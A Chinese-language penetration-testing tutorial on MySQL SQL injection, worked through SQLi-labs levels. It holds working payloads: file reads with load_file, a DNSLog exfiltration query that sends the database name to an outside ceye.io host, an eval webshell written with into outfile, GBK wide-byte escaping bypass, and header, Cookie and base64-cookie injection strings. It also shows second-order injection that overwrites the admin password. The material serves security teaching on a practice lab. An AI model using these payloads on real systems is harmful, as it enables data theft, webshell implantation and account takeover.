渗透测试之SQL注入（读写文件、dnslog盲注、宽字节注入、User-Agent注入、Referer注入、Cookie注入、二次注入）

mysql数据库在渗透过程中能够使用的功能还是比较多的，除了读取数据之外，还可以利用SQL注入漏洞对文件进行读写(但前提是权限足够)。

前提条件：

1. 当前用户具有文件权限，尽量具有root权限
   查询是否有文件权限：select File_priv from mysql.user where user = 'root' and host = 'localhost';
   

2. secure_file_priv不为NULL

secure_file_priv参数说明：
该参数在高版本的mysql数据库中限制了文件的导入导出操作。该参数可以写在my.ini配置文件中[mysqld]下。若要配置此参数，需要修改my.ini配置文件，并重启mysql服务。

参数配置	含义
secure_file_priv=	不对mysqld的导入导出操作进行限制
secure_file_priv=null	不允许导入导出操作
secure_file_priv=‘c:/a/’	限制mysqld的导入导出操作只对子目录有效

查看变量的值

show variables like '%secure%';

修改变量

重启mysql服务之后查看

3. 要知道文件的绝对路径

读取文件操作

load_file(‘pwd’) 函数可以读取文件的内容
这样我们就可以再注入中使用它来读取我们想要的文件的内容，例如：联合查询中读取它本地的host文件

dnslog平台盲注

免费的dnslog平台：
http://www.dnslog.cn/
http://ceye.io/

load_file()这个函数还可以和dnslog平台配合进行盲注，由于load_file()函数可以使用UNC来访问资源，注意只有Windows才有这个，所以这个只能在windows上使用。

当我们进行盲注的时候，就可以使用dnslog平台做回显(使用ceye.io进行演示)：
payload：select load_file(concat('\\\\',(select database()),'.0ox095.ceye.io\\aaa'))

原理：就是load_file()函数可以访问unc路径发送dns请求进行域名解析，然后就会在dnslog上进行回显（解析记录）。

上面的payload相当于访问了database().abcdef.ceye.io，他会先在数据库里将database()进行查询之后再进行域名解析，这样dnslog平台上会有解析记录，database()就会显示出来

写入文件操作

into outfile 语句:

我们访问一下：

我们也可以写入WebShell，php一句话木马：<?php @eval($_POST['x']);?>，使用蚁剑或者菜刀连接。
x会被当作命令来执行，并且屏蔽了错误警告。

访问：
使用蚁剑进行连接，就可以操控对方电脑文件

宽字节注入

宽字节注入准确来说不是注入手法，而是另外一种比较特殊的情况。
GBK占用两字节
ASCII占用一字节
PHP中编码为GBK，函数执行添加的是ASCII编码，MYSQL默认字符集是GBK等宽字节字符集。
%DF会被PHP当中的 addslashes()函数转义为“%DF\”，“\”是URL里的“%5C”，那么也就是说，“%DF""会被转成“%DF%5C”倘若网站的字符集是GBK，MYSQL使用的编码也是GBK的话，就会认为“%DF%5C”是一个宽字符。

为了说明宽字节注入问题，我们以SQLi-labs 32关为例子。

使用[?id=1’]进行测试的时候，发现提交的单引号会被转义[’]。此时，转义后的单引号不再是字符串的标识，会被作为普通字符带入数据库查询。也就是说，我们提交的单引号不会影响到原来SQL语句的结构。

这是怎么回事呢？我们通过阅读32关的源码，发现：
此网页在连接数据库时，会将字符编码设置为GBK编码集合，然后进行SQL语句拼接，最后进行数据库查询。

GBK编码依然采用双字节编码方案，其编码范围:8140-FEFE，剔除xx7F码位，共23940个码位。共收录汉字和图形符号21886个，其中汉字（包括部首和构件)21003个，图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字，并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布，这一版的GBK规范为1.0版。
转移字符[]的编码是5c，正好在GBK编码范围之内，也就是说我们可以在单引号之前提交一个十六进制编码的字符，与5c组成一个GBK编码的汉字。这样SQL语句传入数据库的时候，转义字符5c 会被看作GBK汉字的低位字节编码，从而失去转义的作用。

如果我们提交这样的参数[?id=1%df’]，就可以查看报错信息使用联合查询进行注入了。

发现是字符型的，直接进行联合查询：

这样我们就可以查询我们想要获取的信息了

User-Agent注入

less18为例：'and updatexml(1,concat('^' , (select database()),'^'),1) or '1'='1

Referer注入

less19为例：' or if(length(database())>5,sleep(5),1) or '1'='1

Cookie注入

我们使用SQLi-labs第20关来说明Cookie 注入问题。
通过bp抓包来进行注入：

报错注入：' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

Cookie 注入的注入参数需要通过Cookie提交，我们也可以通过[document.cookie]在控制台完成对浏览Cookie的读写。
来到less-20，在控制台输入
document.cookie = "uname=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #"

然后刷新浏览器：

base64注入

我们以SQLI-labs第22关来说明base64 注入的问题。

base64 注入也是比较简单的，属于Cookie注入，只不过将注入字段经过base64编码。
使用bp进行抓包：

首先我们判断%3D是url编码，还原回去是=号，然后我们将得到的编码进行base64解码，得到：

然后我们将要注入的sql语句进行base64编码之后再加进去就行了

用双引号测试一下：
发现报错了，这时候我们就可以使用报错注入：

我们也可以通过[document.cookie]在控制台完成对浏览Cookie的读写。
在浏览器控制台直接输入：document.cookie="uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpICM="
然后刷新浏览器：

二次注入

less24为例：

进行代码审计：查看注册时的代码，发现没有进行--注释符号的过滤

查看修改密码的代码：

这时候我们就可以有想法了！
我们注册一个用户名为admin' --的用户，然后修改密码，会发生什么事情呢？

首先我们先查看一下数据库里的用户：

打开注册页面进行注册

注册成功！进行登录

登录之后可以修改密码：

修改完成之后，我们再次查看数据库：

发现一个神奇的事情，admin用户的密码被改写了，但是我们注册的新用户密码却没变。
这时候我们就可以利用修改密码后的admin用户进行登录，可能它的权限很高呢！

二次注入的危害

注入payload触发二次sql注入
注入payload触发XSS攻击